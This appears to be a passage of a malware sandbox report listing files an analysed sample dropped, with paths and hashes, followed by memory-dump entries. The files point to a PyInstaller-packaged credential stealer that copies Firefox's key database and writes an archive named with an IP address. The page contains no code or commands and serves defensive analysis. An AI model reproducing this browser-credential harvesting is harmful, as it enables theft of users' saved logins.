                                            • SHA256 aebc378db08617ea81a0a3a3bc044bcc7e6303e314630392dd51bab12f879bd9
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _bz2.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_bz2.pyd
                                            • Size 81KB
                                            • SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _ctypes.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_ctypes.pyd
                                            • Size 120KB
                                            • SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _decimal.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_decimal.pyd
                                            • Size 245KB
                                            • SHA256 d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _hashlib.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_hashlib.pyd
                                            • Size 62KB
                                            • SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _lzma.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_lzma.pyd
                                            • Size 154KB
                                            • SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _multiprocessing.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_multiprocessing.pyd
                                            • Size 32KB
                                            • SHA256 0ae3bf383ff998886f97576c55d6bf0a076c24395cf6fcd2265316e9a6e8c007
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _overlapped.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_overlapped.pyd
                                            • Size 48KB
                                            • SHA256 a083e83f609ed7a2fc18a95d44d8f91c9dc74842f33e19e91988e84db94c3b5b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _queue.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_queue.pyd
                                            • Size 30KB
                                            • SHA256 2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _socket.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_socket.pyd
                                            • Size 76KB
                                            • SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _sqlite3.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_sqlite3.pyd
                                            • Size 115KB
                                            • SHA256 ddbed9d48b17c54fd3005f5a868dd63cb8f3efe2c22c1821cebb2fe72836e446
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _ssl.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\_ssl.pyd
                                            • Size 155KB
                                            • SHA256 cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            base_library.zip
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\base_library.zip
                                            • Size 1.4MB
                                            • SHA256 1252c2bf0986fa36b1babea9ee76d4225e2d010ed5811bc50515c292c08faab4
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            cd.cp311-win_amd64.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\charset_normalizer\cd.cp311-win_amd64.pyd
                                            • Size 10KB
                                            • SHA256 45a9cb1664e2e26ea183d34652869a6a7183b0b2018e151da1e3c88213e8bc8c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libcrypto-1_1.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\libcrypto-1_1.dll
                                            • Size 3.3MB
                                            • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libffi-8.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\libffi-8.dll
                                            • Size 34KB
                                            • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libssl-1_1.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\libssl-1_1.dll
                                            • Size 686KB
                                            • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            pyexpat.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\pyexpat.pyd
                                            • Size 193KB
                                            • SHA256 d97f3e27130c267e7d3287d1b159f65559e84ead9090d02a01b4c7dc663cd509
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            python311.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\python311.dll
                                            • Size 5.5MB
                                            • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            pywintypes311.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\pywin32_system32\pywintypes311.dll
                                            • Size 132KB
                                            • SHA256 f33290cafcf91b6bd5b12b808198cbf816b68529e00e1b3563f63916529a0657
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            select.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\select.pyd
                                            • Size 28KB
                                            • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            sqlite3.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\sqlite3.dll
                                            • Size 1.4MB
                                            • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            unicodedata.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\unicodedata.pyd
                                            • Size 1.1MB
                                            • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            win32crypt.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI17002\win32\win32crypt.pyd
                                            • Size 120KB
                                            • SHA256 fc5a93faa4b353a5e11efad460b6e552efeb040a8e44eca64d8d49bff655fdb6
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            [85.203.46.64][XX]03-49-14-04-07-26.zip
                                            • Path C:\Users\Admin\AppData\Local\[85.203.46.64][XX]03-49-14-04-07-26.zip
                                            • Size 535KB
                                            • SHA256 b0e99ca29805083d918b090e925c5fc99b738054faad0e5b86a554c0590e6407
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            key4_temp.db
                                            • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m1lvo8db.default-release\key4_temp.db
                                            • Size 288KB
                                            • SHA256 5f8d16a3590d9e8e7d62cafc256e67830b36267e13d0c542741f6dcc87aafb28
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            memory/2520-2720-0x00000000006A0000-0x0000000000B5F000-memory.dmp
                                            Download

                                            memory/2520-2323-0x00000000006A0000-0x0000000000B5F000-memory.dmp
                                            Download

                                            memory/2520-2954-0x00000000006A0000-0x0000000000B5F000-memory.dmp
                                            Download

                                            memory/2520-2957-0x00000000006A0000-0x0000000000B5F000-memory.dmp
                                            Download

                                            memory/2728-2319-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2326-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2330-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2331-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2332-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2333-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2411-0x0000000002BF0000-0x0000000002BF1000-memory.dmp
                                            Download

                                            memory/2728-2412-0x0000000002BF0000-0x0000000002BF1000-memory.dmp
                                            Download

                                            memory/2728-2416-0x0000000002C00000-0x0000000002C01000-memory.dmp
                                            Download

                                            memory/2728-2415-0x0000000002C00000-0x0000000002C01000-memory.dmp
                                            Download

                                            memory/2728-2413-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2417-0x0000000002BF0000-0x0000000002BF1000-memory.dmp
                                            Download

                                            memory/2728-2335-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2334-0x00000000032D0000-0x00000000032D1000-memory.dmp
                                            Download

                                            memory/2728-2325-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2452-0x0000000002BA0000-0x0000000002BA2000-memory.dmp
                                            Download

                                            memory/2728-2453-0x0000000002BA0000-0x0000000002BA2000-memory.dmp
                                            Download

                                            memory/2728-2301-0x0000000003970000-0x0000000003B70000-memory.dmp
                                            Download

                                            memory/2728-2327-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2324-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2318-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2315-0x0000000002A90000-0x0000000002A91000-memory.dmp
                                            Download

                                            memory/2728-2320-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2321-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/2728-2316-0x0000000002A90000-0x0000000002A91000-memory.dmp
                                            Download

                                            memory/2728-2300-0x0000000003530000-0x0000000003970000-memory.dmp
                                            Download

                                            memory/2728-2322-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                            Download

                                            memory/3476-2739-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2727-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2958-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2932-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2418-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2949-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2946-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/3476-2936-0x0000000000090000-0x0000000000578000-memory.dmp
                                            Download

                                            memory/5516-2768-0x0000021704D90000-0x0000021704DB0000-memory.dmp
                                            Download

                                            memory/5516-2742-0x0000021701E70000-0x0000021701F70000-memory.dmp
                                            Download

                                            memory/5516-2753-0x0000021704B50000-0x0000021704B70000-memory.dmp
                                            Download

                                            memory/5516-2754-0x0000021716000000-0x0000021716100000-memory.dmp
                                            Download

                                            memory/5516-2787-0x0000021716910000-0x0000021716930000-memory.dmp
                                            Download

                                            memory/6528-2927-0x000000000F1B0000-0x000000000F25E000-memory.dmp
                                            Download

                                            memory/6728-2699-0x000001C29FFB0000-0x000001C29FFD2000-memory.dmp
                                            Download